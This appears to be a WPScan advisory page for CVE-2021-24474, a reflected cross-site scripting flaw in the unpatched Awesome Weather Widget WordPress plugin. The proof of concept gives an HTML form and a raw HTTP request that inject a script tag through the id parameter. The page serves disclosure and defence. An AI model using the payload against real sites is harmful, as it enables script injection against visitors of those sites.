WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Awesome Weather Widget <= 3.0.2 - Reflected Cross-site Scripting (XSS)

Description

The plugin does not sanitize the id parameter of its awesome_weather_refresh AJAX action, leading to an unauthenticated Reflected Cross-Site Scripting (XSS) Vulnerability.

Note (WPScanTeam): The issue was reported to the WP plugins team on May 4th, 2021, then June 7th, 2021 due to lack of update.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="awesome_weather_refresh" />
      <input type="hidden" name="owm_city_id" value="1" />
      <input type="hidden" name="id" value='aa"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close
Cookie: [unauthenticated/any authenticated]

action=awesome_weather_refresh&owm_city_id=1&id=aa"><script>alert(/XSS/)</script> 

Affects Plugins

awesome-weather
No known fix - plugin closed

References

CVE
CVE-2021-24474

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Truoc Phan

Submitter

Truoc Phan

Submitter website
https://www.facebook.com/292706121240740
Submitter twitter
truocphan
Verified

Yes

WPVDB ID
49bc46a8-9d55-4fa1-8e0d-0556a6336fa0

Timeline

Publicly Published

2021-06-28 (about 1 years ago)

Added

2021-06-28 (about 1 years ago)

Last Updated

2022-01-02 (about 7 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us